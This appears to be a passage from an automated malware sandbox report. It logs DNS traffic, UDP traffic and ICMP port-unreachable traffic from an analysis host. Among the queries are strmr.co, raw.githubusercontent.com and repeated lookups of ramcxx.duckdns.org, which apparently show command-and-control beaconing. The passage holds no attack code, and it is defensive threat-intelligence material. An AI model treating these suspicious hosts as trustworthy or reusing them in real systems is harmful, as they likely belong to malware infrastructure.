Sep 27, 2024 12:54:39.173758984 CEST	51870	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:41.186692953 CEST	51870	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:45.195664883 CEST	51870	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:50.229626894 CEST	65009	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:51.232441902 CEST	65009	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:52.246438026 CEST	65009	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:54.258888960 CEST	65009	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:54:58.268059015 CEST	65009	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:03.301217079 CEST	64956	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:04.305310965 CEST	64956	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:04.344568014 CEST	53	64956	8.8.8.8	192.168.2.22
Sep 27, 2024 12:55:04.344793081 CEST	64956	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:06.350426912 CEST	64956	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:10.362447977 CEST	64956	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:15.390448093 CEST	54521	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:16.395597935 CEST	54521	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:17.409342051 CEST	54521	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:19.421729088 CEST	54521	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:22.506052017 CEST	53	54521	8.8.8.8	192.168.2.22
Sep 27, 2024 12:55:23.579483986 CEST	49750	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:24.585375071 CEST	49750	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:25.599361897 CEST	49750	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:27.614471912 CEST	49750	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:31.628994942 CEST	49750	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:36.654397011 CEST	64687	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:37.658185005 CEST	64687	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:38.672278881 CEST	64687	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:40.684618950 CEST	64687	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:44.695904016 CEST	64687	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:49.722269058 CEST	65084	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:50.731075048 CEST	65084	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:51.745053053 CEST	65084	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:52.885914087 CEST	53	65084	8.8.8.8	192.168.2.22
Sep 27, 2024 12:55:52.888044119 CEST	65084	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:55:56.893054008 CEST	65084	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:02.271735907 CEST	63373	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:03.273533106 CEST	63373	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:04.287553072 CEST	63373	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:06.320796967 CEST	63373	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:10.324693918 CEST	63373	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:15.357745886 CEST	56207	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:16.362016916 CEST	56207	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:17.376002073 CEST	56207	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:19.388431072 CEST	56207	53	192.168.2.22	8.8.8.8
Sep 27, 2024 12:56:23.397835016 CEST	56207	53	192.168.2.22	8.8.8.8

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 27, 2024 12:52:02.688498974 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:52:03.702661037 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:52:08.709742069 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:52:09.724222898 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:52:11.762701035 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:52:36.826739073 CEST	192.168.2.22	8.8.8.8	d018	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:52:38.740149975 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:52:40.752141953 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:08.634224892 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:10.390285015 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:13.435060978 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:17.430115938 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:18.689627886 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:26.313416958 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:27.099437952 CEST	192.168.2.22	8.8.8.8	d018	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:35.713433981 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:37.734632969 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:40.830323935 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:41.861545086 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:47.304734945 CEST	192.168.2.22	8.8.8.8	d018	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:50.034317017 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:53.939749956 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:53:56.351941109 CEST	192.168.2.22	8.8.8.8	d018	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:54:31.923435926 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:54:33.754393101 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable
Sep 27, 2024 12:54:38.150388956 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 12:51:31.103806019 CEST	192.168.2.22	8.8.8.8	0x2e9d	Standard query (0)	strmr.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:33.760612965 CEST	192.168.2.22	8.8.8.8	0xe9dd	Standard query (0)	strmr.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:35.515815020 CEST	192.168.2.22	8.8.8.8	0x1803	Standard query (0)	strmr.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:35.530850887 CEST	192.168.2.22	8.8.8.8	0x9f72	Standard query (0)	strmr.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:39.588354111 CEST	192.168.2.22	8.8.8.8	0xc083	Standard query (0)	strmr.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:39.597053051 CEST	192.168.2.22	8.8.8.8	0x1100	Standard query (0)	strmr.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:40.912826061 CEST	192.168.2.22	8.8.8.8	0xb6ec	Standard query (0)	strmr.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:40.935252905 CEST	192.168.2.22	8.8.8.8	0xd97e	Standard query (0)	strmr.co	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:50.204842091 CEST	192.168.2.22	8.8.8.8	0xbf08	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:56.682825089 CEST	192.168.2.22	8.8.8.8	0x52f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:57.681818008 CEST	192.168.2.22	8.8.8.8	0x52f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:51:58.695801973 CEST	192.168.2.22	8.8.8.8	0x52f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:00.708497047 CEST	192.168.2.22	8.8.8.8	0x52f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:02.694823980 CEST	192.168.2.22	8.8.8.8	0x4a17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:03.703469038 CEST	192.168.2.22	8.8.8.8	0x4a17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:04.717514038 CEST	192.168.2.22	8.8.8.8	0x4a17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:06.731138945 CEST	192.168.2.22	8.8.8.8	0x4a17	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:09.100706100 CEST	192.168.2.22	8.8.8.8	0x63c2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:31.719338894 CEST	192.168.2.22	8.8.8.8	0x1d64	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:32.721080065 CEST	192.168.2.22	8.8.8.8	0x1d64	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:33.733685970 CEST	192.168.2.22	8.8.8.8	0x1d64	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:35.745956898 CEST	192.168.2.22	8.8.8.8	0x1d64	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:52:37.745115042 CEST	192.168.2.22	8.8.8.8	0xbd0c	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:00.170618057 CEST	192.168.2.22	8.8.8.8	0xf858	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:00.368963003 CEST	192.168.2.22	8.8.8.8	0xf858	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:01.377011061 CEST	192.168.2.22	8.8.8.8	0xf858	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:03.389255047 CEST	192.168.2.22	8.8.8.8	0xf858	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:05.380410910 CEST	192.168.2.22	8.8.8.8	0xf858	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:07.410631895 CEST	192.168.2.22	8.8.8.8	0xe15c	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:08.412539005 CEST	192.168.2.22	8.8.8.8	0xe15c	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:08.419467926 CEST	192.168.2.22	8.8.8.8	0xe15c	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:08.426665068 CEST	192.168.2.22	8.8.8.8	0xe15c	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:12.421672106 CEST	192.168.2.22	8.8.8.8	0xe15c	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:13.445568085 CEST	192.168.2.22	8.8.8.8	0xc5d3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:13.615322113 CEST	192.168.2.22	8.8.8.8	0xc5d3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:14.632747889 CEST	192.168.2.22	8.8.8.8	0xc5d3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:16.633691072 CEST	192.168.2.22	8.8.8.8	0xc5d3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:16.782390118 CEST	192.168.2.22	8.8.8.8	0xc5d3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.864708900 CEST	192.168.2.22	8.8.8.8	0x3de4	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.881176949 CEST	192.168.2.22	8.8.8.8	0x3de4	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.973742008 CEST	192.168.2.22	8.8.8.8	0x3de4	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.984872103 CEST	192.168.2.22	8.8.8.8	0x3de4	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:17.991961956 CEST	192.168.2.22	8.8.8.8	0x3de4	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.014983892 CEST	192.168.2.22	8.8.8.8	0xb50e	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.089282036 CEST	192.168.2.22	8.8.8.8	0xb50e	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.099222898 CEST	192.168.2.22	8.8.8.8	0xb50e	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.106216908 CEST	192.168.2.22	8.8.8.8	0xb50e	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:19.119349957 CEST	192.168.2.22	8.8.8.8	0xb50e	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:20.156239986 CEST	192.168.2.22	8.8.8.8	0x7cdc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:21.157814026 CEST	192.168.2.22	8.8.8.8	0x7cdc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:21.254931927 CEST	192.168.2.22	8.8.8.8	0x7cdc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:21.262566090 CEST	192.168.2.22	8.8.8.8	0x7cdc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:25.260504007 CEST	192.168.2.22	8.8.8.8	0x7cdc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.045352936 CEST	192.168.2.22	8.8.8.8	0xe5b3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.105776072 CEST	192.168.2.22	8.8.8.8	0xe5b3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.122139931 CEST	192.168.2.22	8.8.8.8	0xe5b3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.130896091 CEST	192.168.2.22	8.8.8.8	0xe5b3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:27.138268948 CEST	192.168.2.22	8.8.8.8	0xe5b3	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.156682968 CEST	192.168.2.22	8.8.8.8	0xe41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.576432943 CEST	192.168.2.22	8.8.8.8	0xe41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.611727953 CEST	192.168.2.22	8.8.8.8	0xe41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.620433092 CEST	192.168.2.22	8.8.8.8	0xe41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:28.628386974 CEST	192.168.2.22	8.8.8.8	0xe41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:29.654067993 CEST	192.168.2.22	8.8.8.8	0xc01d	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:30.668418884 CEST	192.168.2.22	8.8.8.8	0xc01d	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:30.703072071 CEST	192.168.2.22	8.8.8.8	0xc01d	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:32.705634117 CEST	192.168.2.22	8.8.8.8	0xc01d	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:32.728193998 CEST	192.168.2.22	8.8.8.8	0xc01d	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:35.822860956 CEST	192.168.2.22	8.8.8.8	0xfd5a	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:36.847718000 CEST	192.168.2.22	8.8.8.8	0xfd5a	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:36.854953051 CEST	192.168.2.22	8.8.8.8	0xfd5a	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:38.863867044 CEST	192.168.2.22	8.8.8.8	0xfd5a	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:38.871081114 CEST	192.168.2.22	8.8.8.8	0xfd5a	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.883455038 CEST	192.168.2.22	8.8.8.8	0xd3cc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.890722036 CEST	192.168.2.22	8.8.8.8	0xd3cc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.898230076 CEST	192.168.2.22	8.8.8.8	0xd3cc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.905344009 CEST	192.168.2.22	8.8.8.8	0xd3cc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:39.917277098 CEST	192.168.2.22	8.8.8.8	0xd3cc	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:40.971227884 CEST	192.168.2.22	8.8.8.8	0xe95b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:41.996819973 CEST	192.168.2.22	8.8.8.8	0xe95b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:43.026762009 CEST	192.168.2.22	8.8.8.8	0xe95b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:45.025789976 CEST	192.168.2.22	8.8.8.8	0xe95b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:46.200613976 CEST	192.168.2.22	8.8.8.8	0xe95b	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:48.015567064 CEST	192.168.2.22	8.8.8.8	0x1d05	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:49.019390106 CEST	192.168.2.22	8.8.8.8	0x1d05	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:49.425901890 CEST	192.168.2.22	8.8.8.8	0x1d05	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:49.432832003 CEST	192.168.2.22	8.8.8.8	0x1d05	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:52.537313938 CEST	192.168.2.22	8.8.8.8	0x1d05	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:53.553610086 CEST	192.168.2.22	8.8.8.8	0xf155	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.032134056 CEST	192.168.2.22	8.8.8.8	0xf155	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.039829969 CEST	192.168.2.22	8.8.8.8	0xf155	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.048264980 CEST	192.168.2.22	8.8.8.8	0xf155	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:54.055615902 CEST	192.168.2.22	8.8.8.8	0xf155	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:55.254973888 CEST	192.168.2.22	8.8.8.8	0xd268	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.257906914 CEST	192.168.2.22	8.8.8.8	0xd268	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.264853001 CEST	192.168.2.22	8.8.8.8	0xd268	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.271974087 CEST	192.168.2.22	8.8.8.8	0xd268	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:56.278548002 CEST	192.168.2.22	8.8.8.8	0xd268	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.292988062 CEST	192.168.2.22	8.8.8.8	0xbd41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.302481890 CEST	192.168.2.22	8.8.8.8	0xbd41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.314451933 CEST	192.168.2.22	8.8.8.8	0xbd41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.327419043 CEST	192.168.2.22	8.8.8.8	0xbd41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:57.338381052 CEST	192.168.2.22	8.8.8.8	0xbd41	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.354511976 CEST	192.168.2.22	8.8.8.8	0x2ce0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.362325907 CEST	192.168.2.22	8.8.8.8	0x2ce0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.369890928 CEST	192.168.2.22	8.8.8.8	0x2ce0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.376998901 CEST	192.168.2.22	8.8.8.8	0x2ce0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:58.383708000 CEST	192.168.2.22	8.8.8.8	0x2ce0	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.402847052 CEST	192.168.2.22	8.8.8.8	0xc1d6	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.410008907 CEST	192.168.2.22	8.8.8.8	0xc1d6	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.416981936 CEST	192.168.2.22	8.8.8.8	0xc1d6	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.423688889 CEST	192.168.2.22	8.8.8.8	0xc1d6	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:53:59.430968046 CEST	192.168.2.22	8.8.8.8	0xc1d6	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.448559046 CEST	192.168.2.22	8.8.8.8	0xefb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.586544037 CEST	192.168.2.22	8.8.8.8	0xefb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.594464064 CEST	192.168.2.22	8.8.8.8	0xefb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.602626085 CEST	192.168.2.22	8.8.8.8	0xefb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:00.610601902 CEST	192.168.2.22	8.8.8.8	0xefb	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:01.697026968 CEST	192.168.2.22	8.8.8.8	0x1b9f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:01.706152916 CEST	192.168.2.22	8.8.8.8	0x1b9f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:01.726037025 CEST	192.168.2.22	8.8.8.8	0x1b9f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:01.734406948 CEST	192.168.2.22	8.8.8.8	0x1b9f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.176172972 CEST	192.168.2.22	8.8.8.8	0x6c2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.221484900 CEST	192.168.2.22	8.8.8.8	0x6c2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.230211973 CEST	192.168.2.22	8.8.8.8	0x6c2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.241676092 CEST	192.168.2.22	8.8.8.8	0x6c2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:24.253168106 CEST	192.168.2.22	8.8.8.8	0x6c2	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.286578894 CEST	192.168.2.22	8.8.8.8	0xf731	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.348685980 CEST	192.168.2.22	8.8.8.8	0xf731	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.394542933 CEST	192.168.2.22	8.8.8.8	0xf731	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.422580004 CEST	192.168.2.22	8.8.8.8	0xf731	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:25.460236073 CEST	192.168.2.22	8.8.8.8	0xf731	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 12:54:26.702043056 CEST	192.168.2.22	8.8.8.8	0x8401	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
